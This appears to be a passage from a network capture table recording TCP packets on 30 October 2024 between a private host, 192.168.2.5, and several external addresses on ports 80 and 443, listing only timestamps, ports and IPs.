Oct 30, 2024 21:56:30.832672119 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.832685947 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.832695007 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.832719088 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.832746029 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.833190918 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.833205938 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.833220005 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.833234072 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.833244085 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.833257914 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.833537102 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.833550930 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.833564997 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.833580017 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.833607912 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.833609104 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.833627939 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.833645105 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.833657980 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.833689928 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.833714962 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.866647959 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.866695881 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.866712093 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.866724968 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.866739988 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.866754055 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.866772890 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.868036985 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.883122921 CET	443	50243	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:30.883214951 CET	443	50243	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:30.883291960 CET	50243	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:30.910650969 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.910701036 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.910718918 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.910737038 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.910753012 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.910768986 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.910810947 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.910866976 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.910974979 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.910989046 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.911016941 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.911041975 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.937597990 CET	50243	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:30.937609911 CET	443	50243	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:30.937627077 CET	50243	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:30.937633991 CET	443	50243	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:30.956911087 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.957046032 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.957062006 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.957075119 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.957118988 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.957179070 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.957209110 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.957222939 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.957235098 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.957267046 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.957297087 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.957370996 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.957386971 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.957401037 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.957427979 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.957456112 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.957616091 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.957741976 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.957756996 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.957782030 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.957801104 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.957890034 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.957971096 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.957986116 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.958008051 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.958034039 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.958165884 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.958189011 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.958201885 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.958230019 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.958252907 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.958820105 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.958839893 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.958856106 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.958883047 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.958906889 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.991381884 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.991506100 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.991519928 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.991533041 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.991547108 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.991559029 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.991560936 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.991611004 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:30.991645098 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:30.991683960 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.030587912 CET	50244	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:31.030612946 CET	443	50244	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:31.030728102 CET	50244	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:31.033785105 CET	50244	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:31.033797026 CET	443	50244	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:31.035042048 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.035080910 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.035094976 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.035108089 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.035124063 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.035137892 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.035159111 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.035176039 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.035202026 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.035206079 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.035240889 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.078232050 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.078252077 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.078263998 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.078308105 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.078334093 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.080593109 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.080640078 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.080646038 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.080656052 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.080678940 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.080688000 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.080697060 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.080701113 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.080714941 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.080723047 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.080799103 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.081633091 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.081646919 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.081659079 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.081671000 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.081676960 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.081684113 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.081696987 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.081703901 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.081710100 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.081727028 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.081748009 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.081872940 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.081891060 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.081903934 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.081913948 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.081916094 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.081943035 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.081974983 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.082329035 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.082340956 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.082355022 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.082371950 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.082402945 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.082417011 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.082431078 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.082432985 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.082607985 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.115798950 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.115823030 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.115835905 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.115848064 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.115864038 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.115864992 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.115875006 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.115916014 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.159276962 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.159296036 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.159326077 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.159331083 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.159343958 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.159351110 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.159352064 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.159365892 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.159379959 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.159409046 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.202245951 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.202258110 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.202279091 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.202415943 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.202502966 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.202517033 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.202543974 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.202578068 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.205246925 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.205274105 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.205286980 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.205297947 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.205303907 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.205303907 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.205332041 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.205346107 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.205481052 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.205499887 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.205512047 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.205526114 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.205566883 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.205732107 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.205744982 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.205755949 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.205780983 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.205806017 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.206294060 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.206345081 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.206360102 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.206372976 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.206403971 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.206417084 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.206434965 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.206475973 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.206702948 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.206743956 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.206787109 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.206799984 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.206825972 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.206837893 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.206865072 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.206877947 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.206912994 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.244421959 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.244450092 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.244462013 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.244472980 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.244486094 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.244493961 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.244510889 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.244545937 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.283698082 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.283719063 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.283729076 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.283754110 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.283792019 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.283795118 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.283838034 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.283894062 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.283942938 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.283960104 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.284006119 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.284006119 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.284046888 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.284050941 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.284091949 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.286751032 CET	50240	80	192.168.2.5	185.215.113.206
Oct 30, 2024 21:56:31.326656103 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.326677084 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.326687098 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.326718092 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.326729059 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.326745033 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.326754093 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.326776028 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.326814890 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.329788923 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.329833984 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.329837084 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.329849958 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.329878092 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.329879045 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.329891920 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.329893112 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.329905033 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.329915047 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.329921007 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.329936028 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.329956055 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.329991102 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.330003977 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.330013990 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.330041885 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.330054045 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.330071926 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.330112934 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.330435038 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.330447912 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.330457926 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.330483913 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.330508947 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.330684900 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.330724955 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.330725908 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.330737114 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.330782890 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.330794096 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.330991030 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.331031084 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.331034899 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.331060886 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.331075907 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.331078053 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.331093073 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.331108093 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.331127882 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.331135035 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.369016886 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.369029045 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.369045973 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.369060040 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.369070053 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.369077921 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.369124889 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.369184017 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.408082962 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.408232927 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.408243895 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.408255100 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.408268929 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.408269882 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.408282042 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.408294916 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.408332109 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.408435106 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.408458948 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.408469915 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.408483982 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.408523083 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.451128960 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.451141119 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.451152086 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.451176882 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.451185942 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.451190948 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.451235056 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.451332092 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.453877926 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.453915119 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.453927994 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.453932047 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.453953028 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.453969002 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.453975916 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.453983068 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.454010010 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.454022884 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.454144955 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.454181910 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.454185963 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.454227924 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.454315901 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.454333067 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.454345942 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.454355955 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.454358101 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.454366922 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.454390049 CET	50241	80	192.168.2.5	185.215.113.16
